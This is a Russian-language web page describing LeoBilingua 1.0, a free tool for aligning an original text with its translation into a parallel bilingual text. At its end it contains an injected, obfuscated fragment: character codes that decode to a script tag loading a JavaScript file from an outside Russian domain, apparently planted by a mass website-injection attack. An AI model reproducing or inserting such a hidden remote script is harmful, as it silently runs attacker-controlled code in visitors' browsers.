LeoBilingua 1.0
LeoBilingua 1.0 - бесплатная программа для соединения двух текстов в один, параллельный текст.
Вы загружаете оригинальный текст в одну половину окна программы и его перевод – в другую. Программа сопоставляет друг другу абзацы из обоих текстов и помещает их в третий, билингва-текст. Так как разбивка оригинального текста и перевода на абзацы, как правило, не совпадает, LeoBilingua предоставляет все возможности для корректировки обоих текстов по мере составления билингвы. Процесс объединения текстов можно выполнять в "ручном" режиме, то есть по одному абзацу, или автоматически.
Полученный параллельный текст можно сохранить в его оригинальном формате XML и просматривать затем в браузере (скриншот), а можно и преобразовать в какой-нибудь другой формат, например HTML (веб-страница) или MS Word.
Перед установкой программы на компьютере должна быть установлена платформа .NET Framework 1.1 и HTML Help Viewer для справочной документации.char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)c26492dd04718fde5e0670f19f9baad2.js" type="text/javascript">
